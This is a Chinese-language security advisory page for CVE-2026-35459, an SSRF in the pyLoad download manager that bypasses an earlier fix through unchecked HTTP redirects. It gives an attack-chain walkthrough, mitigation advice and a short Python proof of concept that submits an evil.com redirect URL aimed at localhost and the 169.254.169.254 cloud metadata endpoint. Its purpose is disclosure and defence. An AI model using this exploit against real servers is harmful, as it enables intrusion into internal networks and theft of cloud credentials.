IPBUF安全漏洞报告
English
CVE-2026-35459 CVSS 9.1 严重

CVE-2026-35459 pyLoad服务端请求伪造漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35459
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

SSRFpyLoadCVE-2026-35459重定向绕过Python

漏洞概述

pyLoad是一款用Python编写的免费开源下载管理器。在0.5.0b3.dev96及更早版本中,存在一个服务端请求伪造(SSRF)漏洞。尽管之前针对CVE-2026-33992的修复在BaseDownloader.download()中增加了对初始下载URL主机名的IP验证,但pycurl配置了FOLLOWLOCATION=1和MAXREDIRS=10,导致其会自动跟随HTTP重定向。由于重定向目标从未经过SSRF过滤器的验证,拥有ADD权限的认证用户可以通过提交重定向到内部地址的URL来绕过SSRF修复,从而访问内网资源。

技术细节

该漏洞是由于pyLoad在处理下载请求时的验证逻辑不完整导致的。开发者在修复之前的SSRF漏洞时,仅在初始URL解析阶段增加了IP地址校验,以防止直接访问内网IP。然而,底层使用的pycurl库被配置为自动跟随HTTP重定向(FOLLOWLOCATION=1)且允许最多10次跳转(MAXREDIRS=10)。关键的缺陷在于,代码未对重定向链中的后续目标URL进行安全校验。攻击者可以利用这一逻辑漏洞,构造一个指向外部合法地址的URL(该地址由攻击者控制并设置为返回302重定向至内网地址,如http://127.0.0.1)。当pyLoad处理该请求时,初始URL通过验证,但随后pycurl会自动跟随重定向请求内网资源,从而成功绕过SSRF防护机制。虽然CVSS向量显示无需认证,但实际利用通常需要具备ADD权限。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行的是pyLoad下载管理器,且版本在0.5.0b3.dev96及以下。
STEP 2
2. 构造恶意链接
攻击者准备一个外部可控的URL(如http://attacker.com/redirect),该服务器配置为对访问请求返回302重定向,指向内网敏感地址(如http://127.0.0.1/admin或http://169.254.169.254)。
STEP 3
3. 提交Payload
攻击者登录pyLoad(获取ADD权限),并通过API或Web界面提交上述外部URL作为下载任务。
STEP 4
4. 绕过验证
pyLoad验证初始URL为合法外网地址,验证通过。随后pycurl根据配置自动跟随重定向。
STEP 5
5. 执行SSRF
pyLoad向重定向后的内网地址发起请求,导致敏感信息泄露或内网探测。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35459: pyLoad SSRF via Redirect Bypass # This script simulates sending a malicious URL to pyLoad. # The attacker controls 'http://evil.com/redirect' which redirects to an internal IP. import requests # The target pyLoad instance URL target = "http://127.0.0.1:8000/api/add_package" # The malicious payload: An external URL that redirects to an internal service # Example: http://evil.com/302.php redirects to http://169.254.169.254/latest/meta-data/ payload = { "url": "http://evil.com/redirect_to_internal", "name": "malicious_download" } # Authenticated session cookie (if required, though PR:N is stated, ADD permission is needed) cookies = { "pyload_session": "attacker_session_id" } try: print("[*] Sending payload to pyLoad...") response = requests.post(target, data=payload, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Success! URL accepted.") print("[+] pyLoad will now follow the redirect to the internal address.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")

影响范围

pyLoad <= 0.5.0b3.dev96

防御指南

临时缓解措施
建议立即升级到修复了此漏洞的pyLoad版本。如果不能立即升级,应严格限制pyLoad服务器的出站网络连接,并禁用或严格审查自动跟随重定向的功能,同时加强对拥有下载添加权限账户的管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表